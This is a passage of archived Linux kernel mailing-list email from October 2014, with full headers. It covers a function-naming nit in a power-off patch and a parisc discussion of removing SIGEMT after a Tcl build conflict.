 Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will.deacon@arm.com>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 "H. Peter Anvin" <hpa@zytor.com>, Guan Xuetao <gxt@mprc.pku.edu.cn>,
 Thomas Gleixner <tglx@linutronix.de>, Lennox Wu <lennox.wu@gmail.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, Jesper Nilsson <jesper.nilsson@axis.com>,
 lguest@lists.ozlabs.org, Russell King <linux@arm.linux.org.uk>,
 linux-c6x-dev@linux-c6x.org, Len Brown <len.brown@intel.com>,
 "David S. Miller" <davem@d
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Oct 09 22:24:30 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from hemlock.osuosl.org ([140.211.166.133])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XcKGC-00070D-Kr
	for glddd-devel@m.gmane.org; Thu, 09 Oct 2014 22:24:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 1850195DD4;
	Thu,  9 Oct 2014 20:24:27 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id al6R5SKJmjKs; Thu,  9 Oct 2014 20:24:26 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 00ECD95DBD;
	Thu,  9 Oct 2014 20:24:26 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (silver.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id B080F1C2632
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 20:24:24 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id A3CF7335AA
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 20:24:24 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id p6bgUZkq8vdb for <devel@linuxdriverproject.org>;
 Thu,  9 Oct 2014 20:24:22 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from atrey.karlin.mff.cuni.cz (atrey.karlin.mff.cuni.cz
 [195.113.26.193])
 by silver.osuosl.org (Postfix) with ESMTP id 536BA334BE
 for <devel@driverdev.osuosl.org>; Thu,  9 Oct 2014 20:24:22 +0000 (UTC)
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
 id BCAD981E3A; Thu,  9 Oct 2014 22:24:19 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <54368A30.9070101@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58696 gmane.linux.ports.mips.general:44312 gmane.linux.kernel.efi:4806 gmane.linux.ports.ia64:24551 gmane.linux.kernel.virtualization.lguest:1530 gmane.linux.ports.hexagon:862 gmane.linux.ports.sh.devel:39925 gmane.linux.acpi.devel:71370 gmane.linux.drivers.devicetree:93639 gmane.linux.uml.devel:14737 gmane.linux.power-management.general:50838 gmane.linux.ports.tegra:19580 gmane.linux.kernel.openipmi:2521 gmane.linux.kernel.metag:382 gmane.linux.ports.arm.kernel:363113 gmane.linux.ports.parisc:6167 gmane.linux.kernel:1804538 gmane.linux.ports.alpha:2515 gmane.linux.ports.ppc64.devel:106047
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58696>

Hi!

> >>@@ -184,6 +179,8 @@ machine_halt(void)
> >>  void
> >>  machine_power_off(void)
> >>  {
> >>+	do_kernel_poweroff();
> >>+
> >
> >poweroff -> power_off for consistency.
> >
> Dunno; matter of personal preference. I started with that, but ultimately went
> with poweroff to distinguish poweroff handler functions from existing code,
> specifically kernel_power_off().

That works for you, but once it is merged, it is ugly/confusing typo.
									Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Thu, 9 Oct 2014 23:41:15 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20141009204115.GB4606@drone.musicnaut.iki.fi>
References: <5434418F.1020407@gmx.de>
 <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412887298 14347 80.91.229.3 (9 Oct 2014 20:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 20:41:38 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 09 22:41:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XcKWg-0007Je-4o
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Oct 2014 22:41:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751663AbaJIUl0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Oct 2014 16:41:26 -0400
Original-Received: from filtteri6.pp.htv.fi ([213.243.153.189]:51499 "EHLO
	filtteri6.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751633AbaJIUlY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Oct 2014 16:41:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri6.pp.htv.fi (Postfix) with ESMTP id BADC156F567;
	Thu,  9 Oct 2014 23:41:22 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp4.welho.com ([213.243.153.38])
	by localhost (filtteri6.pp.htv.fi [213.243.153.189]) (amavisd-new, port 10024)
	with ESMTP id DkrXk+PPCiil; Thu,  9 Oct 2014 23:41:16 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp4.welho.com (Postfix) with ESMTP id 250425BC010;
	Thu,  9 Oct 2014 23:41:16 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6168>

Hi,

On Tue, Oct 07, 2014 at 05:03:30PM -0400, Carlos O'Donell wrote:
> The only thing I will do different is make SIGEMT equal to SIGABRT,
> that way we preserve the semantics of what this operation means. Linux
> doesn't use SIGEMT, but it keeps hppa defining this for use by other
> software that might want similar semantics. You can catch SIGABRT and
> operate on it, so it's one way forward.

I tested Helge's SIGNAL_NEW patches by recompiling my small distro
(~100 packages) and only Tcl 8.6 complation breaks (duplicate case
value in tclPosixStr.c / Tcl_SignalMsg).

The current check they have is:

#if defined(SIGEMT) && (!defined(SIGXCPU) || (SIGEMT != SIGXCPU))
    case SIGEMT: return "SIGEMT";
#endif

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Thu, 9 Oct 2014 16:48:03 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <CAE2sS1gZKMncpWGKBqQ44ZQPnWBsG0H-XfNaghCRUe6OwQ2ujg@mail.gmail.com>
References: <5434418F.1020407@gmx.de>
	<CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
	<20141009204115.GB4606@drone.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412887693 19809 80.91.229.3 (9 Oct 2014 20:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 20:48:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 09 22:48:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XcKd3-0002Or-Po
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Oct 2014 22:48:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751373AbaJIUsF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Oct 2014 16:48:05 -0400
Original-Received: from mail-ig0-f178.google.com ([209.85.213.178]:36308 "EHLO
	mail-ig0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751887AbaJIUsE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Oct 2014 16:48:04 -0400
Original-Received: by mail-ig0-f178.google.com with SMTP id h3so163702igd.17
        for <linux-parisc@vger.kernel.org>; Thu, 09 Oct 2014 13:48:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=6CLtS9CxOY3EYsSweJoZxn8My2E1Oz9rXS0gbDkoHQ0=;
        b=Akk1UFfNsnMQUwPsjwSfZBoV0832P9NF5EaaGj3R2XFJk2uumB4vVHb1UAqIAc+Yli
         gh/a5YrjAKp2U555Yq6la2a2mDkIJIkVTJn+Rxa/4NE4wGdgYpnL8ASwr1L6RNEFniDB
         Ym6VHx9GKuAroWfziBl28JEN6oKhsW9F3mUq0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=6CLtS9CxOY3EYsSweJoZxn8My2E1Oz9rXS0gbDkoHQ0=;
        b=DtKEcEmInyrc54+7+dg1NiNlTBQMCq10MnosWBinYXYj6w2HlLYqsI7brHYAQdbgI7
         mBSlVmPsyisltxZPF5qNrYuyQbkj6LaltFYTxGj+guDHBxdRpNnKKheNpWMLGBC3p0jD
         7+qyFz7XsefXcPIQdoH7S9g23Z3KUyABbonZ51BJbnn4GgWCsvmc7hKN7FyeGj7SJStW
         UDSaPoJzC0wcm9ROzjRseyIKtlZTkYexXq2r/arUKP25t0ODsdR27gQfy/rYpf3fKnev
         DJBkAmkiYeyutX299AK9cDjiDZOHH/Sophrvsrb7EhjZD0d+KbCLzZlrheInOm9xw+P3
         TUig==
X-Gm-Message-State: ALoCoQmycCe34cuWJihdxq1ySdAusx7XtXQzSiS4irqYsiErJvDoSubkc2hio499UZviD243auOC
X-Received: by 10.50.72.3 with SMTP id z3mr875158igu.36.1412887683641; Thu, 09
 Oct 2014 13:48:03 -0700 (PDT)
Original-Received: by 10.107.31.137 with HTTP; Thu, 9 Oct 2014 13:48:03 -0700 (PDT)
X-Originating-IP: [76.65.45.151]
In-Reply-To: <20141009204115.GB4606@drone.musicnaut.iki.fi>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6169>

On Thu, Oct 9, 2014 at 4:41 PM, Aaro Koskinen <aaro.koskinen@iki.fi> wrote:
> #if defined(SIGEMT) && (!defined(SIGXCPU) || (SIGEMT != SIGXCPU))
>     case SIGEMT: return "SIGEMT";
> #endif

Helge,

I withdraw my suggestion to make SIGEMT equal to SIGABRT. Just remove
it. It's not needed on Linux and just causes problems.

In this case it conflicts with SIGABRT in the case statement. Better
to just remove it.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Thu, 09 Oct 2014 22:58:31 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <5436F6F7.3000501@gmx.de>
References: <5434418F.1020407@gmx.de>	<CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>	<20141009204115.GB4606@drone.musicnaut.iki.fi> <CAE2sS1gZKMncpWGKBqQ44ZQPnWBsG0H-XfNaghCRUe6OwQ2ujg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412888338 28530 80.91.229.3 (9 Oct 2014 20:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 20:58:58 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 09 22:58:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XcKnQ-0006xS-WC
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Oct 2014 22:58:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750967AbaJIU6s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Oct 2014 16:58:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:64254 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750855AbaJIU6s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Oct 2014 16:58:48 -0400
Original-Received: from [192.168.178.60] ([84.173.8.22]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0Lxxw4-1YEZKO0rwK-015Ftt; Thu, 09 Oct 2014 22:58:32
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <CAE2sS1gZKMncpWGKBqQ44ZQPnWBsG0H-XfNaghCRUe6OwQ2ujg@mail.gmail.com>
X-Provags-ID: V03:K0:FXChoJXUMR0nOhsApNxN5RJOjlRPvczoSewqJs98J+DAmgIjWRR
 GsuF9TDZMUuGENjK682aXGAFMndZ+zN8NZNx6vI/DtZdEyDB4YMmm1E2uFrcwz+zhOw6HhZ
 GQdKRaxuFh8S9oX2JQQJbcQShIn3WMj7mCmgSKw9kXT4TCt0gLoKm6zeN5W7z+MWWfAb3vg
 jnMLTZ/SC0MzvXZBs1OvA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6170>

Hi Aaro & Carlos,

On 10/09/2014 10:48 PM, Carlos O'Donell wrote:
> On Thu, Oct 9, 2014 at 4:41 PM, Aaro Koskinen <aaro.koskinen@iki.fi> wrote:
>> #if defined(SIGEMT) && (!defined(SIGXCPU) || (SIGEMT != SIGXCPU))
>>      case SIGEMT: return "SIGEMT";
>> #endif

Aaro, thanks a lot for testing !!!

> I withdraw my suggestion to make SIGEMT equal to SIGABRT. Just remove
> it. It's not needed on Linux and just causes problems.
>
> In this case it conflicts with SIGABRT in the case statement. Better
> to just remove it.

Yes, I agree.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Fri, 10 Oct 2014 09:53:52 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <54380F20.3060800@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-9-git-send-email-linux@roeck-us.net> <20141009103847.GC6787@amd> <54368A30.9070101@roeck-us.net> <20141009202419.GA16885@amd>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412960311 28592 80.91.229.3 (10 Oct 2014 16:58:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Oct 2014 16:58:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
        lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
        linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        openipmi-developer@lists.sourceforge.net,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-
To: Pavel Machek <pavel@denx.de>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Oct 10 18:58:16 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XcdWB-0006ZE-9T
	for sgi-linux-mips@gmane.org; Fri, 10 Oct 2014 18:58:15 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:41086 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011110AbaJJQ6MC0nMX (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 10 Oct 2014 18:58:12 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 10 Oct 2014 18:57:57 +0200 (CEST)
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:33489 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27011102AbaJJQ5zzNfYN (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 10 Oct 2014 18:57:55 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
        h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=GeTamrlv1VO56GLSNtO+MA4zt0M3dOMz1NxH7IEcuus=;
        b=bVGHuA50L6w5y+yDVA97S9MUCHZ6uapWZzYaHDfBFJFRw9VI8lqMKrvbsYukM4ngacQ7IaXezTy+319dAn24fIobLWWKiLsGE9cAMShrj5GckTI4WPsu4jngS9wvHPHc7bpkLiQju2WkSxyz79rcb6sCzqrJOm+MN3bnGhaM4Hs=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XcdVl-002oTV-NZ
        for linux-mips@linux-mips.org; Fri, 10 Oct 2014 16:57:49 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:47224 helo=server.roeck-us.net)
        by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
        (Exim 4.82)
        (envelope-from <linux@roeck-us.net>)
        id 1XcdS5-002ity-ST; Fri, 10 Oct 2014 16:54:02 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <20141009202419.GA16885@amd>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 512
X-CTCH-RefID: str=0001.0A020208.5438100D.0310,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=512,sb=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 54
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 54
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - linux-mips.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-archive-position: 43212
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44361 gmane.linux.kernel:1805080 gmane.linux.drivers.devicetree:93713 gmane.linux.kernel.virtualization.lguest:1531 gmane.linux.acpi.devel:71382 gmane.linux.ports.alpha:2516 gmane.linux.kernel.efi:4834 gmane.linux.ports.hexagon:863 gmane.linux.ports.ppc64.devel:106066 gmane.linux.ports.tegra:19603 gmane.linux.kernel.openipmi:2522 gmane.linux.uml.devel:14739 gmane.linux.ports.arm.kernel:363318 gmane.linux.ports.ia64:24552 gmane.linux.kernel.metag:383 gmane.linux.ports.parisc:6171 gmane.linux.power-management.general:50880 gmane.linux.ports.sh.devel:39934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44361>

On 10/09/2014 01:24 PM, Pavel Machek wrote:
> Hi!
>
>>>> @@ -184,6 +179,8 @@ machine_halt(void)
>>>>   void
>>>>   machine_power_off(void)
>>>>   {
>>>> +	do_kernel_poweroff();
>>>> +
>>>
>>> poweroff -> power_off for consistency.
>>>
>> Dunno; matter of personal preference. I started with that, but ultimately went
>> with poweroff to distinguish poweroff handler functions from existing code,
>> specifically kernel_power_off().
>
> That works for you, but once it is merged, it is ugly/confusing typo.
> 									Pavel
>

Ok, no problem, I'll change it.

Guenter




From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Reduce SIGRTMIN from 37 to 32 to behave like other
 Linux architectures
Date: Fri, 10 Oct 2014 22:20:17 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <20141010202017.GA3644@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412972435 2066 80.91.229.3 (10 Oct 2014 20:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Oct 2014 20:20:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>,
	Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 10 22:20:28 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
